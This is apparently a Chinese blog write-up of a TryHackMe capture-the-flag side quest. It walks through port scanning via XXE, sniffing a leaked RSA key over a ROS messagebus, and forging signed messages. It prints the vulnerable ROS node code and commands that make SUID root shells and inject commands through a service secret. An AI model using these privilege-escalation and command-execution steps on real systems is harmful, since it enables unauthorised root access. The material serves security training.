keycard
继续通过时间判断出位于
Day5
的房间中,注意到最后一句的提示:那就是利用rce来扫端口:
1
2
3
4
5
6
7
8<!--?xml version="1.0" ?-->
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>把整个数据包存下来跑
ffuf
1
ffuf -request port_scan -request-proto http -w <(seq 1 65537) -fs 19
拿到一个
3306
,但没有什么东西偷看发现这里应该编码请求来绕过过滤:
1
2
3
4
5
6
7
8<!--?xml version="1.0" ?-->
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>据此扫到
8080
:访问后得到一串
base64
字符,解密发现其访问了access.log
访问一下 [http://10.10.200.7/k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png] 得到钥匙卡
smile_and_wave_boys
前置-ros
阴与阳-检查
先扫下两台机器,都只开放了
21337
端口访问一下输入钥匙卡来解锁ssh登录
那么显然此时该考虑提权到root了:
对于
yang.sh
和yin.sh
,发现其正在运行rosrun
,该命令允许运行任意包中的可执行文件试着运行一下这两个脚本,发现其无法注册到
http://localhost:11311
上的主节点这里应该会有如下的回显报错,但我自己执行的时候并没有显示出来
那么两台机器上或许都需要先运行
ros
服务器才能执行命令随后检查下实际运行的node脚本
runyin.py
位于
/catkin_ws/src/yin/scripts/runyin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113#!/usr/bin/python3
import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256
class Yin:
def __init__(self):
self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
#Read the message channel private key
pwd = b'secret'
with open('/catkin_ws/privatekey.pem', 'rb') as f:
data = f.read()
self.priv_key = RSA.import_key(data,pwd)
self.priv_key_str = self.priv_key.export_key().decode()
rospy.init_node('yin')
self.prompt_rate = rospy.Rate(0.5)
#Read the service secret
with open('/catkin_ws/secret.txt', 'r') as f:
data = f.read()
self.secret = data.replace('\n','')
self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
def handle_yang_request(self, req):
# Check secret first
if req.secret != self.secret:
return "Secret not valid"
sender = req.sender
receiver = req.receiver
action = req.command
os.system(action)
response = "Action performed"
return response
def getBase64(self, message):
hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
return hmac
def getSHA(self, hmac):
m = hashlib.sha256()
m.update(hmac.encode())
return str(m.hexdigest())
#This function will craft the signature for the message based on the specific system being talked to
def sign_message(self, message):
hmac = self.getBase64(message)
hmac = SHA256.new(hmac.encode('utf-8'))
signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
sig = base64.b64encode(signature).decode()
message.hmac = sig
return message
def craft_ping(self, receiver):
message = Comms()
message.timestamp = str(rospy.get_time())
message.sender = "Yin"
message.receiver = receiver
message.action = 1
message.actionparams = ['touch /home/yang/yin.txt']
#message.actionparams.append(self.priv_key_str)
message.feedback = "ACTION"
message.hmac = ""
return message
def send_pings(self):
# Yang
message = self.craft_ping("Yang")
message = self.sign_message(message)
self.messagebus.publish(message)
def run_yin(self):
while not rospy.is_shutdown():
self.send_pings()
self.prompt_rate.sleep()
if __name__ == '__main__':
try:
yin = Yin()
yin.run_yin()
except rospy.ROSInterruptException:
pass其功能如下:
- 通过
messagebus
主题向另一个节点发送消息,类型为Comms
- 从
/catkin_ws/privatekey.pem
中加载私钥 - 提供服务
svc_yang
,用于处理其他节点发送的服务请求,类型为yangrequest
; 此时会验证请求中的secret
值 - 用私钥来生成消息签名
- 周期性生成针对
yang
的消息,该消息包含具体的行为:touch /home/yang/yin.txt
并通过messagebus
发布
- 通过
runyang.py
位于
/catkin_ws/src/yang/scripts/runyang.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175#!/usr/bin/python3
import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yang.msg import Comms
from yang.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256
class Yang:
def __init__(self):
self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
#Read the message channel private key
pwd = b'secret'
with open('/catkin_ws/privatekey.pem', 'rb') as f:
data = f.read()
self.priv_key = RSA.import_key(data,pwd)
self.priv_key_str = self.priv_key.export_key().decode()
rospy.init_node('yang')
self.prompt_rate = rospy.Rate(0.5)
#Read the service secret
with open('/catkin_ws/secret.txt', 'r') as f:
data = f.read()
self.secret = data.replace('\n','')
rospy.Subscriber('messagebus', Comms, self.callback)
def callback(self, data):
#First check to do is see if this is a message for us and one we need to respond to
if (data.receiver != "Yang"):
return
#Now we know the message is for us. We can start system checks to see if it is a valid message
if (not self.validate_message(data)):
print ("Message could not be validated")
return
#Now we can action the message and send a reply
for action in data.actionparams:
os.system(action)
#Now request an action from Yin
self.yin_request()
#Send reply
reply = Comms()
reply.timestamp = str(rospy.get_time())
reply.sender = "Yang"
reply.receiver = "Yin"
reply.action = 2
reply.actionparams = []
reply.actionparams.append(self.priv_key_str)
reply.feedback = "Action Done"
reply.hmac = ""
reply = self.sign_message(reply)
self.messagebus.publish(reply)
def validate_message(self, message):
valid = True
#Only accept messages from the allfather
if (message.sender != "Yin"):
valid = False
print ("Message is not from Yin")
return valid
#First we need to validate the timestamp. The difference should not be bigger than threshold
current_time = str(rospy.get_time())
current_time_sec = int(current_time.split('.')[0])
current_time_nsec = int(current_time.split('.')[1])
message_time_sec = int(message.timestamp.split('.')[0])
message_time_nsec = int(message.timestamp.split('.')[1])
second_diff = current_time_sec - message_time_sec
nsecond_diff = current_time_nsec - message_time_nsec
if (second_diff <= 1):
print ("Time difference is acceptable to answer message and not a replay")
else:
print ("Message is a replay and should be discarded")
valid = False
return valid
# Here we want to respond and say that time is not acceptable thus regarded as replay
#Now we need to validate the signature
hmac = self.getBase64(message)
hmac = SHA256.new(hmac.encode('utf-8'))
signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
sig = base64.b64encode(signature).decode()
if (message.hmac != sig):
print ("Signature verification failed")
valid = False
# Respond and say signature failed
return valid
def yin_request(self):
resp = ""
rospy.wait_for_service('svc_yang')
try:
service = rospy.ServiceProxy('svc_yang', yangrequest)
response = service(self.secret, 'touch /home/yin/yang.txt', 'Yang', 'Yin')
except rospy.ServiceException as e:
print ("Failed: %s"%e)
resp = response.response
return resp
def handle_yang_request(self, req):
# Check secret first
if req.secret != self.secret:
return "Secret not valid"
sender = req.sender
receiver = req.receiver
action = req.action
os.system(action)
response = "Action performed"
return response
def getBase64(self, message):
hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
hmac += "."
hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
return hmac
def getSHA(self, hmac):
m = hashlib.sha256()
m.update(hmac.encode())
return str(m.hexdigest())
#This function will craft the signature for the message based on the specific system being talked to
def sign_message(self, message):
hmac = self.getBase64(message)
hmac = SHA256.new(hmac.encode('utf-8'))
signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
sig = base64.b64encode(signature).decode()
message.hmac = sig
return message
def run_yang(self):
rospy.spin()
if __name__ == '__main__':
try:
yang = Yang()
yang.run_yang()
except rospy.ROSInterruptException:
pass其功能如下:
- 监听主题
messagebus
并接受来自yin
的消息 - 从
/catkin_ws/privatekey.pem
中加载私钥 - 接受发送给
yang
的消息并验证签名 - 对于需要响应的消息向
yin
发送服务请求;提供服务请求处理函数handle_yang_request
,允许yin
节点调用 - 使用
os.system
来执行消息中的命令
- 监听主题
阳
拿到私钥
在
runyin.py
中可以看到一个ping
命令,由于使用的私钥只有root
可读,所以该脚本仅能由root
运行,即不能简单更改脚本来执行其他命令但从
runyang.py
中看到脚本正在用私钥的内容进行回调:1
2
3
4
5
6
7
8
9reply = Comms()
reply.timestamp = str(rospy.get_time())
reply.sender = "Yang"
reply.receiver = "Yin"
reply.action = 2
reply.actionparams = []
reply.actionparams.append(self.priv_key_str) # **私钥内容被添加到消息中**
reply.feedback = "Action Done"
reply.hmac = ""即完整的私钥被公开,通过
ros
的messagebus
发送给yin
那么思路就是在
yin
上启动ros
主机,开始通信后监听yang
上的messagebus
来捕获私钥,再通过私钥重写runyin.py
脚本以在yang
上执行其他命令提取1
roscore &
1
sudo /catkin_ws/yin.sh &
随后,为了让
yang
能连接到位于yin:11311
的ros
服务器,通过ssh转发过去:1
ssh -L 11311:localhost:11311 yin@10.10.208.76
然后再开一个
yang
来启动yang.sh
再开一个
yang
来捕获messagebus
的内容1
rostopic echo /messagebus
把私钥存下来
利用私钥进行
ros
通信先把
yin
上的roscore
关了1
ps aux | grep roscore
kill
掉就行可以将脚本另存一份下来:
1
cp -r /catkin_ws/src/ yin
创一个
suid.py
,内容就是把runyin.py
中的touch
改成提权命令cp /bin/sh /home/yang/sh && chmod u+s /home/yang/sh
再创一个
privatekey.pem
放刚刚的私钥现在文件结构如下:
在
yang
上运行roscore
并启动yang.sh
1
2roscore &
sudo /catkin_ws/yang.sh保险起见可以把之前的窗口都先关掉(大嘘
再在
yin
上把yang
的端口转发过来:1
ssh -L 11311:localhost:11311 yang@10.10.152.171
然后启动
suid.py
,报错的话反思一下是不是私钥文件格式错了执行后
yang
那里的yang.sh
会有显示yang
就提权成功了:同时读到
secret.txt
thisisasecretvaluethatyouwillneverguess
阴
看回阴,在
runyin.py
中存在命令执行的地方为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17...
self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
...
def handle_yang_request(self, req):
# Check secret first
if req.secret != self.secret:
return "Secret not valid"
sender = req.sender
receiver = req.receiver
action = req.command
os.system(action)
response = "Action performed"
return response即
yang
的服务svc_yang
触发了handle_yang_request
,进而能执行os.system
根据 wiki条目 可以使用以下方式来调用特定服务
1
rosservice call /service_name service-args
在
yin
yang
都启动对应的.sh
,并在yin
上执行1
rosservice list
通过
rosservice info svc_yang
查看所需参数,并在这里找到参数提供格式构造出
payload
1
rosservice call /svc_yang "{'secret': 'thisisasecretvaluethatyouwillneverguess', 'command': 'cp /bin/sh /home/yin/sh; chmod u+s /home/yin/sh', 'sender': 'Yang', 'receiver': 'Yin'}"
THM打靶日寄61-Advent of Cyber '24:支线T2丑陋复现
- 本文链接: http://noone40404.github.io/2025/01/24/THM打靶日寄61:Advent of Cyber '24 Side QuestT2/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!